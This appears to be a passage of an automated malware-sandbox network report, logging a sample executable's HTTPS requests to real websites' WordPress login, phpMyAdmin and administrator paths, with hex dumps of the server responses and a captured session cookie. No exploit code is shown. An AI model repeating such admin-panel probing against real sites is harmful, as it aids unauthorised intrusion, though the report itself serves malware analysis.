2023-11-26 05:59:33 UTC	321	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 62 75 6e 61 73 74 61 2e 65 75 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.bunasta.eu/administrator/">here</a>.</p><hr><address>Apache/2.4.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	57122	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	780	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0
2023-11-26 05:59:33 UTC	589	IN	Data Raw: 31 38 65 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 Data Ascii: 18e9<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; High Tide Inc. — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 Data Ascii: href="https://hightideinc.com/wp-admin/css/forms.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" id="l10n-css" href="https://hightideinc.com/wp-admin/css/l10n.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="styleshee
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 45 6d 61 69 6c 20 41 64 64 72 65 73 73 3c 2f 6c 61 62 65 6c 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 22 20 69 64 3d 22 75 73 65 72 5f 6c 6f 67 69 6e 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 76 61 6c 75 65 20 73 69 7a 65 3d 22 32 30 22 20 61 75 74 6f 63 61 70 69 74 61 6c 69 7a 65 3d 22 6f 66 66 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 75 73 65 72 6e 61 6d 65 22 20 72 65 71 75 69 72 65 64 3d 22 72 65 71 75 69 72 65 64 22 20 2f 3e 0a 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 73 65 72 2d 70 61 73 73 2d 77 72 61 70 22 3e 0a 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 75 73 65 72 5f 70 61 73 73 22 3e 50 61 73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 2d Data Ascii: Email Address</label><input type="text" name="log" id="user_login" class="input" value size="20" autocapitalize="off" autocomplete="username" required="required" /></p><div class="user-pass-wrap"><label for="user_pass">Password</label><div class="wp-
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 2e 66 6f 63 75 73 28 29 3b 20 64 2e 73 65 6c 65 63 74 28 29 3b 7d 20 63 61 74 63 68 28 20 65 72 20 29 20 7b 7d 7d 2c 20 32 30 30 29 3b 7d 0a 77 70 5f 61 74 74 65 6d 70 74 5f 66 6f 63 75 73 28 29 3b 0a 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 4f 6e 6c 6f 61 64 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 29 20 7b 20 77 70 4f 6e 6c 6f 61 64 28 29 20 7d 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 69 64 3d 22 62 61 63 6b 74 6f 62 6c 6f 67 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 22 3e 26 6c 61 72 72 3b 20 47 6f 20 74 6f 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 3c 2f 61 3e 20 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 69 76 61 63 79 2d 70 6f 6c Data Ascii: .focus(); d.select();} catch( er ) {}}, 200);}wp_attempt_focus();if ( typeof wpOnload === 'function' ) { wpOnload() }/* ... */</script><p id="backtoblog"><a href="https://hightideinc.com/">← Go to High Tide Inc.</a> </p><div class="privacy-pol
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 35 2e 30 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 63 36 61 65 63 39 61 38 64 34 65 35 61 35 64 35 34 33 61 31 22 20 69 64 3d 22 77 70 2d 68 6f 6f 6b 73 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a Data Ascii: ps://hightideinc.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0" id="wp-polyfill-js"></script><script type="text/javascript" src="https://hightideinc.com/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1" id="wp-hooks-js"></script>
2023-11-26 05:59:33 UTC	320	IN	Data Raw: 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 30 30 37 63 61 39 30 65 65 30 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 6a 73 2f 75 73 65 72 2d 70 72 6f 66 69 6c 65 2e 6d 69 Data Ascii: s"></script><script type="text/javascript" id="user-profile-js-extra">/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"007ca90ee0"};/ ... */</script><script type="text/javascript" src="https://hightideinc.com/wp-admin/js/user-profile.mi
2023-11-26 05:59:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	56708	15.236.29.106	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:33 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:33 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	57010	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	190	OUT	GET /phpmyadmin HTTP/1.1 Host: www.gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	1123	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 74 65 2d 78 73 72 66 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:33 GMTSet-Cookie: publishedsite-xsrf
2023-11-26 05:59:33 UTC	607	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 6c 71 4e 54 52 35 57 48 49 79 4e 6d 39 4e 57 57 78 4d 5a 55 52 32 54 6e 42 44 51 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 6e 63 32 4c 33 52 42 56 56 4a 33 52 48 6c 70 64 31 64 4a 4e 45 5a 73 62 47 4e 36 4d 45 49 33 55 6b 51 31 55 47 5a 74 65 44 64 68 63 30 59 35 4d 45 4e 6b 5a 58 4d 33 62 57 5a 7a 64 46 52 49 5a 32 70 5a 56 46 5a 4f 51 6c 46 56 4f 46 68 34 64 32 52 70 61 33 42 6b 65 45 74 4b 4e 55 45 31 53 58 4e 71 56 57 4e 77 61 6e 59 32 63 58 46 51 4d 53 38 72 56 57 4a 72 59 7a 56 48 54 6e 52 79 64 57 35 4c 55 45 4a 6c 4d 7a 4e 75 55 55 74 36 56 58 51 78 61 6a 46 53 4e 32 56 4d 4f 56 42 45 59 31 55 77 4f 47 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6ImlqNTR5WHIyNm9NWWxMZUR2TnBDQkE9PSIsInZhbHVlIjoiYnc2L3RBVVJ3RHlpd1dJNEZsbGN6MEI3UkQ1UGZteDdhc0Y5MENkZXM3bWZzdFRIZ2pZVFZOQlFVOFh4d2Rpa3BkeEtKNUE1SXNqVWNwanY2cXFQMS8rVWJrYzVHTnRydW5LUEJlMzNuUUt6VXQxajFSN2VMOVBEY1UwOG
2023-11-26 05:59:33 UTC	1580	IN	Data Raw: 36 32 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 20 41 72 69 61 6c 2c 20 73 61 Data Ascii: 620<!doctype html><html><head> <title>404 - Page Not Found</title> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; font-family: Roboto, Helvetica Neue, Arial, sa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	56703	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
